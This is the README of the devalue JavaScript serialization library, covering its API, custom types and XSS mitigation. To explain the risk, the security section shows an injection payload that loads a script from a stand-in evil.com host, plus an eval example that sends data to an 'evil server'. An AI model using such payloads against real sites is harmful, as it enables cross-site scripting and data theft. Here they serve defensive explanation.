1 | # devalue
|
2 |
|
3 | Like `JSON.stringify`, but handles
|
4 |
|
5 | - cyclical references (`obj.self = obj`)
|
6 | - repeated references (`[value, value]`)
|
7 | - `undefined`, `Infinity`, `NaN`, `-0`
|
8 | - regular expressions
|
9 | - dates
|
10 | - `Map` and `Set`
|
11 | - `BigInt`
|
12 | - `ArrayBuffer` and Typed Arrays
|
13 | - custom types via replacers, reducers and revivers
|
14 |
|
15 | Try it out [here](https://svelte.dev/repl/138d70def7a748ce9eda736ef1c71239?version=3.49.0).
|
16 |
|
17 | ## Goals:
|
18 |
|
19 | - Performance
|
20 | - Security (see [XSS mitigation](#xss-mitigation))
|
21 | - Compact output
|
22 |
|
23 | ## Non-goals:
|
24 |
|
25 | - Human-readable output
|
26 | - Stringifying functions
|
27 |
|
28 | ## Usage
|
29 |
|
30 | There are two ways to use `devalue`:
|
31 |
|
32 | ### `uneval`
|
33 |
|
34 | This function takes a JavaScript value and returns the JavaScript code to create an equivalent value — sort of like `eval` in reverse:
|
35 |
|
36 | ```js
|
37 | import * as devalue from 'devalue';
|
38 |
|
39 | let obj = { message: 'hello' };
|
40 | devalue.uneval(obj); // '{message:"hello"}'
|
41 |
|
42 | obj.self = obj;
|
43 | devalue.uneval(obj); // '(function(a){a.message="hello";a.self=a;return a}({}))'
|
44 | ```
|
45 |
|
46 | Use `uneval` when you want the most compact possible output and don't want to include any code for parsing the serialized value.
|
47 |
|
48 | ### `stringify` and `parse`
|
49 |
|
50 | These two functions are analogous to `JSON.stringify` and `JSON.parse`:
|
51 |
|
52 | ```js
|
53 | import * as devalue from 'devalue';
|
54 |
|
55 | let obj = { message: 'hello' };
|
56 |
|
57 | let stringified = devalue.stringify(obj); // '[{"message":1},"hello"]'
|
58 | devalue.parse(stringified); // { message: 'hello' }
|
59 |
|
60 | obj.self = obj;
|
61 |
|
62 | stringified = devalue.stringify(obj); // '[{"message":1,"self":0},"hello"]'
|
63 | devalue.parse(stringified); // { message: 'hello', self: [Circular] }
|
64 | ```
|
65 |
|
66 | Use `stringify` and `parse` when evaluating JavaScript isn't an option.
|
67 |
|
68 | ### `unflatten`
|
69 |
|
70 | In the case where devalued data is one part of a larger JSON string, `unflatten` allows you to revive just the bit you need:
|
71 |
|
72 | ```js
|
73 | import * as devalue from 'devalue';
|
74 |
|
75 | const json = `{
|
76 | "type": "data",
|
77 | "data": ${devalue.stringify(data)}
|
78 | }`;
|
79 |
|
80 | const data = devalue.unflatten(JSON.parse(json).data);
|
81 | ```
|
82 |
|
83 | ## Custom types
|
84 |
|
85 | You can serialize and deserialize custom types by passing a second argument to `stringify` containing an object of types and their _reducers_, and a second argument to `parse` or `unflatten` containing an object of types and their _revivers_:
|
86 |
|
87 | ```js
|
88 | class Vector {
|
89 | constructor(x, y) {
|
90 | this.x = x;
|
91 | this.y = y;
|
92 | }
|
93 |
|
94 | magnitude() {
|
95 | return Math.sqrt(this.x * this.x + this.y * this.y);
|
96 | }
|
97 | }
|
98 |
|
99 | const stringified = devalue.stringify(new Vector(30, 40), {
|
100 | Vector: (value) => value instanceof Vector && [value.x, value.y]
|
101 | });
|
102 |
|
103 | console.log(stringified); // [["Vector",1],[2,3],30,40]
|
104 |
|
105 | const vector = devalue.parse(stringified, {
|
106 | Vector: ([x, y]) => new Vector(x, y)
|
107 | });
|
108 |
|
109 | console.log(vector.magnitude()); // 50
|
110 | ```
|
111 |
|
112 | If a function passed to `stringify` returns a truthy value, it's treated as a match.
|
113 |
|
114 | You can also use custom types with `uneval` by specifying a custom replacer:
|
115 |
|
116 | ```js
|
117 | devalue.uneval(vector, (value, uneval) => {
|
118 | if (value instanceof Vector) {
|
119 | return `new Vector(${value.x},${value.y})`;
|
120 | }
|
121 | }); // `new Vector(30,40)`
|
122 | ```
|
123 |
|
124 | Note that any variables referenced in the resulting JavaScript (like `Vector` in the example above) must be in scope when it runs.
|
125 |
|
126 | ## Error handling
|
127 |
|
128 | If `uneval` or `stringify` encounters a function or a non-POJO that isn't handled by a custom replacer/reducer, it will throw an error. You can find where in the input data the offending value lives by inspecting `error.path`:
|
129 |
|
130 | ```js
|
131 | try {
|
132 | const map = new Map();
|
133 | map.set('key', function invalid() {});
|
134 |
|
135 | uneval({
|
136 | object: {
|
137 | array: [map]
|
138 | }
|
139 | });
|
140 | } catch (e) {
|
141 | console.log(e.path); // '.object.array[0].get("key")'
|
142 | }
|
143 | ```
|
144 |
|
145 | ## XSS mitigation
|
146 |
|
147 | Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
|
148 |
|
149 | ```js
|
150 | const state = {
|
151 | userinput: `</script><script src='https://evil.com/mwahaha.js'>`
|
152 | };
|
153 |
|
154 | const template = `
|
155 | <script>
|
156 | // NEVER DO THIS
|
157 | var preloaded = ${JSON.stringify(state)};
|
158 | </script>`;
|
159 | ```
|
160 |
|
161 | Which would result in this:
|
162 |
|
163 | ```html
|
164 | <script>
|
165 | // NEVER DO THIS
|
166 | var preloaded = {"userinput":"
|
167 | </script>
|
168 | <script src="https://evil.com/mwahaha.js">
|
169 | "};
|
170 | </script>
|
171 | ```
|
172 |
|
173 | Using `uneval` or `stringify`, we're protected against that attack:
|
174 |
|
175 | ```js
|
176 | const template = `
|
177 | <script>
|
178 | var preloaded = ${uneval(state)};
|
179 | </script>`;
|
180 | ```
|
181 |
|
182 | ```html
|
183 | <script>
|
184 | var preloaded = {
|
185 | userinput:
|
186 | "\\u003C\\u002Fscript\\u003E\\u003Cscript src='https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js'\\u003E"
|
187 | };
|
188 | </script>
|
189 | ```
|
190 |
|
191 | This, along with the fact that `uneval` and `stringify` bail on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `uneval` can be safely deserialized with `eval` or `new Function`:
|
192 |
|
193 | ```js
|
194 | const value = (0, eval)('(' + str + ')');
|
195 | ```
|
196 |
|
197 | ## Other security considerations
|
198 |
|
199 | While `uneval` prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, **you should not send user data from client to server** using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed `uneval` would have access to your system.
|
200 |
|
201 | When using `eval`, ensure that you call it _indirectly_ so that the evaluated code doesn't have access to the surrounding scope:
|
202 |
|
203 | ```js
|
204 | {
|
205 | const sensitiveData = 'Setec Astronomy';
|
206 | eval('sendToEvilServer(sensitiveData)'); // pwned :(
|
207 | (0, eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
|
208 | }
|
209 | ```
|
210 |
|
211 | Using `new Function(code)` is akin to using indirect eval.
|
212 |
|
213 | ## See also
|
214 |
|
215 | - [lave](https://github.com/jed/lave) by Jed Schmidt
|
216 | - [arson](https://github.com/benjamn/arson) by Ben Newman. The `stringify`/`parse` approach in `devalue` was inspired by `arson`
|
217 | - [oson](https://github.com/KnorpelSenf/oson) by Steffen Trog
|
218 | - [tosource](https://github.com/marcello3d/node-tosource) by Marcello Bastéa-Forte
|
219 | - [serialize-javascript](https://github.com/yahoo/serialize-javascript) by Eric Ferraiuolo
|
220 | - [jsesc](https://github.com/mathiasbynens/jsesc) by Mathias Bynens
|
221 | - [superjson](https://github.com/blitz-js/superjson) by Blitz
|
222 | - [next-json](https://github.com/iccicci/next-json) by Daniele Ricci
|
223 |
|
224 | ## License
|
225 |
|
226 | [MIT](LICENSE)
|